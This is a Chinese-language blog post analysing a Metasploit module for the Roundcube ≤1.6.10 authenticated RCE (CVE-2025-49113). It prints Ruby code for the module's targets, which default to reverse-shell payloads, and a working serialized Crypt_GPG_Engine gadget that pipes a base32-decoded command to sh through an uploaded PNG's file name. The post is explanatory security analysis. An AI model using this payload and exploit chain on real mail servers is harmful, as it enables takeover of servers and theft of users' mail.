Roundcube 1.6.10 远程代码执行漏洞利用详解

本文详细分析了Roundcube Webmail在1.6.10版本中的远程代码执行漏洞,涉及PHP对象反序列化攻击,通过Metasploit模块实现认证后RCE,适用于多个平台。

Roundcube 1.6.10 - 远程代码执行(RCE) - 多个Web应用漏洞利用

漏洞概述

Roundcube Webmail在1.5.10之前版本和1.6.x在1.6.11之前版本存在远程代码执行漏洞。认证用户可通过program/actions/settings/upload.php中的_from参数未验证问题,导致PHP对象反序列化,从而以Web服务器权限执行任意系统命令。

技术细节

漏洞利用类结构

1
2
3
4
5
6
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

初始化信息

  • 名称: Roundcube ≤ 1.6.10 认证后RCE via PHP对象反序列化
  • 描述: 认证用户可利用_from参数未验证导致PHP对象反序列化,执行系统命令
  • 作者: Maksim Rogov (MSF模块), Kirill Firsov (漏洞披露和原始利用)
  • 参考: CVE-2025-49113, 研究链接
  • 披露日期: 2025-06-02

目标配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
'Platform' => ['unix', 'linux'],
'Targets' => [
  [
    'Linux Dropper',
    {
      'Platform' => 'linux',
      'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
      'Type' => :linux_dropper,
      'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
    }
  ],
  [
    'Linux Command',
    {
      'Platform' => ['unix', 'linux'],
      'Arch' => [ARCH_CMD],
      'Type' => :nix_cmd,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
    }
  ]
]

利用流程

  1. 获取登录页面: 通过HTTP GET请求获取登录页面和CSRF令牌
  2. 用户登录: 使用提供的用户名和密码进行认证
  3. 生成载荷: 根据目标类型生成相应的命令载荷
  4. 上传恶意载荷: 通过multipart/form-data上传伪装成PNG的恶意序列化数据

PHP载荷构建器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
class PhpPayloadBuilder
  def initialize(command)
    @encoded = Rex::Text.encode_base32(command)
    @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
  end

  def build
    len = @gpgconf.bytesize
    %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
  end
end

版本检测

模块包含版本检查功能,可检测易受攻击的Roundcube版本:

  • 1.0.100 到 1.5.9
  • 1.6.0 到 1.6.10

文件上传机制

利用程序生成1x1透明像素PNG图像作为载体,将恶意序列化数据作为文件名进行上传,触发反序列化漏洞。

利用要求

  • 有效的用户凭证(用户名和密码)
  • 目标Roundcube实例的可访问URL
  • 可选的目标主机名配置

注意事项

  • 稳定性: 崩溃安全
  • 副作用: 日志中可能留下IOC
  • 可靠性: 可重复会话

该漏洞利用模块为安全研究人员提供了完整的RCE利用链,涵盖了从认证到命令执行的完整过程。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计